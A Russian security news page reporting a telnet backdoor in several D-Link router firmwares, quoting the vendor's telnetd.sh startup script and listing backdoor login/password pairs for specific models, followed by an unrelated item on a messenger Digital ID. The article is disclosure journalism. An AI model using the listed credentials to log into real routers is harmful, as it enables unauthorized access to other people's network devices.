В прошивках ряда устройств D-Link обнаружен бэкдор

В прошивках ряда устройств D-Link обнаружен бэкдор

Немецкий разработчик, известный рядом исследований, касающихся безопасности сетевых устройств, обнаружил в ряде моделей беспроводных маршрутизаторов D-Link бэкдор, организующий административный вход на устройства с инженерным паролем. Исследователь упоминает о том, что проблема присутствует как минимум на устройствах DIR-300revA, DIR-300revB, DIR-600revB, однако возможно, что этот список неполный.

Код запуска демона telnet на проблемных устройствах выглядит так (содержимое /rootfs/etc/scripts/misc/telnetd.sh):

#!/bin/sh
image_sign='cat /etc/config/image_sign'
TELNETD='rgdb -g /sys/telnetd'
if [ "$TELNETD" = "true" ]; then
echo "Start telnetd ..." > /dev/console
if [ -f "/usr/sbin/login" ]; then
lf='rgdb -i -g /runtime/layout/lanif'
telnetd -l "/usr/sbin/login" -u Alphanetworks:$image_sign -i $lf &
else
telnetd &
fi
fi


Из этого кода становится очевидно, что на устройство кто угодно может подключиться телнетом, используя стандартные инженерные логин (Alphanetworks) и пароль (содержимое файла /etc/config/image_sign). Поиск в интернете показал, что данные инженерные пароли уже стали широко известными и не являются каким-то особым секретом. Imagesig - внутреннее обозначение образа прошивки для данной модели устройств.

Наиболее очевидные сочетания логинов и паролей обнаруженные исследователем:

Alphanetworks wrgg19_c_dlwbr_dir300
Alphanetworks wrgn49_dlob_dir600b
Alphanetworks wrgn23_dlwbr_dir600b
Alphanetworks wrgn22_dlwbr_dir615
Alphanetworks wrgnd08_dlob_dir815
Alphanetworks wrgg15_di524
Alphanetworks wrgn39_dlob.hans_dir645

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Создать Цифровой ID в МАХ теперь можно по водительскому удостоверению

Пользователи мессенджера МАХ теперь могут оформить Цифровой ID по упрощённой схеме — достаточно иметь водительское удостоверение, добавленное в приложение Госуслуг. Такой вариант Цифрового ID можно использовать только для подтверждения возраста.

Цифровой ID — это электронный аналог бумажных документов. Он позволяет подтверждать, например, возраст или определённый статус — студента, родителя с несколькими детьми и т. д.

Проверка личности осуществляется с помощью динамического QR-кода в профиле мессенджера. Доступ к сервису открыт всем пользователям старше 18 лет.

Создать Цифровой ID можно тремя способами:

  • через подтверждённую биометрию,
  • с помощью загранпаспорта нового образца,
  • по водительскому удостоверению.

Если используется вариант с водительскими правами, процесс выглядит так:

  1. открыть в профиле МАХ раздел «Цифровой ID» и нажать «Создать»;
  2. подтвердить вход по лицу или отпечатку пальца;
  3. перейти в Госуслуги и выбрать подтверждение личности по водительским правам;
  4. сделать селфи;
  5. дождаться уведомления о готовности ID.

Пилотный запуск функции состоялся 15 сентября. Цифровой ID уже можно использовать для подтверждения возраста при покупке товаров с ограничением по возрасту — в частности, на кассах самообслуживания в ряде крупных торговых сетей в Москве, Санкт-Петербурге, Краснодаре и других городах.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru